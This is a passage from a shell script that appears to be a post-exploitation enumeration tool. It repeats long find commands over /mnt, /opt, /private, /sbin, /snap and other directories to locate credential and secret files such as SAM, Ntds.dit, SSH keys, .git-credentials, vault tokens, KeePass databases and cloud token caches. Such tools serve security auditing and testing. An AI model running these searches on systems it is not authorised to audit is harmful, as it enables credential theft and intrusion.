-name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_MNT=`eval_bckgrd "find /mnt -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_OPT=`eval_bckgrd "find /opt -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_PRIVATE=`eval_bckgrd "find /private -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"sess_*\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"agent*\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_RUN=`eval_bckgrd "find /run -name \"*.service\" -o -name \"*.socket\" -o -name \"*.timer\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SBIN=`eval_bckgrd "find /sbin -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SNAP=`eval_bckgrd "find /snap -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o -name \"software\" -o -name \".plan\" -o -name \"elasticsearch.y*ml\" -o -name \"*.cer\" -o -name \"server.xml\" -o -name \"*.gpg\" -o -name \".github\" -o -name \"passwd\" -o -name \"sites.ini\" -o -name \"unattend.inf\" -o -name \"rocketchat.service\" -o -name \"mariadb.cnf\" -o -name \".profile\" -o -name \"iis6.log\" -o -name \".gitconfig\" -o -name \".ldaprc\" -o -name \"zabbix_server.conf\" -o -name \"*.psk\" -o -name \"protecteduserkey.bin\" -o -name \".msmtprc\" -o -name \"supervisord.conf\" -o -name \"secrets.yml\" -o -name \"pgsql.conf\" -o -name \".recently-used.xbel\" -o -name \"system.sav\" -o -name \"sysprep.inf\" -o -name \"ftp.ini\" -o -name \".bashrc\" -o -name \"hostapd.conf\" -o -name \"*.swp\" -o -name \".htpasswd\" -o -name \".sudo_as_admin_successful\" -o -name \".pypirc\" -o -name \"redis.conf\" -o -name \"datasources.xml\" -o -name \"ws_ftp.ini\" -o -name \"cesi.conf\" -o -name \"*password*\" -o -name \"pg_hba.conf\" -o -name \"AzureRMContext.json\" -o -name \"known_hosts\" -o -name \"ddclient.conf\" -o -name \"recentservers.xml\" -o -name \"*.key\" -o -name \"hosts.equiv\" -o -name \"Ntds.dit\" -o -name \".k5login\" -o -name \"appcmd.exe\" -o -name \"printers.xml\" -o -name \"FreeSSHDservice.ini\" -o -name \"sitemanager.xml\" -o -name \"*.ovpn\" -o -name \"*.service\" -o -name \"config.php\" -o -name \"krb5.conf\" -o -name \"wp-config.php\" -o -name \"ffftp.ini\" -o -name \"ipsec.secrets\" -o -name \"unattend.txt\" -o -name \"credentials\" -o -name \"error.log\" -o -name \"*.crt\" -o -name \".env\" -o -name \"tomcat-users.xml\" -o -name \"*config*.php\" -o -name \"*.csr\" -o -name \"*.keyring\" -o -name \"drives.xml\" -o -name \"winscp.ini\" -o -name \"id_rsa*\" -o -name \"access_tokens.db\" -o -name \"docker-compose.yml\" -o -name \"sentry.conf.py\" -o -name \"scclient.exe\" -o -name \"krb5.keytab\" -o -name \"sssd.conf\" -o -name \"rsyncd.secrets\" -o -name \".git-credentials\" -o -name \"TokenCache.dat\" -o -name \"settings.php\" -o -name \"*vnc*.xml\" -o -name \"psk.txt\" -o -name \"*.pfx\" -o -name \"passbolt.php\" -o -name \"wsl.exe\" -o -name \"php.ini\" -o -name \"anaconda-ks.cfg\" -o -name \"access_tokens.json\" -o -name \"https.conf\" -o -name \"web*.config\" -o -name \"snmpd.conf\" -o -name \"rsyncd.conf\" -o -name \"bash.exe\" -o -name \"ftp.config\" -o -name \"kibana.y*ml\" -o -name \"000-default.conf\" -o -name \"db.php\" -o -name \"legacy_credentials.db\" -o -name \"scheduledtasks.xml\" -o -name \"SYSTEM\" -o -name \"ipsec.conf\" -o -name \"*.socket\" -o -name \"storage.php\" -o -name \"*.pem\" -o -name \"*.viminfo\" -o -name \".wgetrc\" -o -name \".lesshst\" -o -name \"RDCMan.settings\" -o -name \"credentials.db\" -o -name \"default.sav\" -o -name \".vault-token\" -o -name \"AppEvent.Evt\" -o -name \"gitlab.rm\" -o -name \"*.rdg\" -o -name \"gvm-tools.conf\" -o -name \"docker.sock\" -o -name \"*.jks\" -o -name \"wcx_ftp.ini\" -o -name \".secrets.mkey\" -o -name \"fastcgi_params\" -o -name \"id_dsa*\" -o -name \"KeePass.config*\" -o -name \"*.timer\" -o -name \"kcpassword\" -o -name \"index.dat\" -o -name \"mongod*.conf\" -o -name \"gitlab.yml\" -o -name \"postgresql.conf\" -o -name \"vault-ssh-helper.hcl\" -o -name \"*.gnupg\" -o -name \"autologin.conf\" -o -name \"setupinfo\" -o -name \"backup\" -o -name \"*.p12\" -o -name \"debian.cnf\" -o -name \"cloud.cfg\" -o -name \"ConsoleHost_history.txt\" -o -name \"setupinfo.bak\" -o -name \"*credential*\" -o -name \"kadm5.acl\" -o -name \"my.cnf\" -o -name \".erlang.cookie\" -o -name \"SecEvent.Evt\" -o -name \"*vnc*.txt\" -o -name \"mosquitto.conf\" -o -name \"*.sqlite3\" -o -name \"*.ftpconfig\" -o -name \"unattended.xml\" -o -name \"*vnc*.ini\" -o -name \"*.der\" -o -name \"secrets.ldb\" -o -name \"docker.socket\" -o -name \"groups.xml\" -o -name \"httpd.conf\" -o -name \"unattend.xml\" -o -name \"racoon.conf\" -o -name \"zabbix_agentd.conf\" -o -name \"*_history*\" -o -name \"database.php\" -o -name \"my.ini\" -o -name \".git\" -o -name \"*.pgp\" -o -name \"autologin\" -o -name \"backups\" -o -name \"filezilla.xml\" -o -name \"authorized_hosts\" -o -name \"NetSetup.log\" -o -name \"software.sav\" -o -name \"creds*\" -o -name \"ntuser.dat\" -o -name \"security.sav\" -o -name \"azureProfile.json\" -o -name \"access.log\" -o -name \".rhosts\" -o -name \"pagefile.sys\" -o -name \"https-xampp.conf\" -o -name \"pgadmin*.db\" -o -name \"*.keystore\" -o -name \"sysprep.xml\" -o -name \"*vnc*.c*nf*\" -o -name \"KeePass.enforced*\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` - FIND_SRV=`eval_bckgrd "find /srv -name \"log4j-core*.jar\" -o -name \"influxdb.conf\" -o -name \"*.kdbx\" -o -name \"SAM\" -o -name \"*.db\" -o -name \"Dockerfile\" -o -name \"accessTokens.json\" -o -name \"*.sqlite\" -o -name \".google_authenticator\" -o -name \"KeePass.ini\" -o -name \"jetty-realm.properties\" -o -name \"authorized_keys\" -o 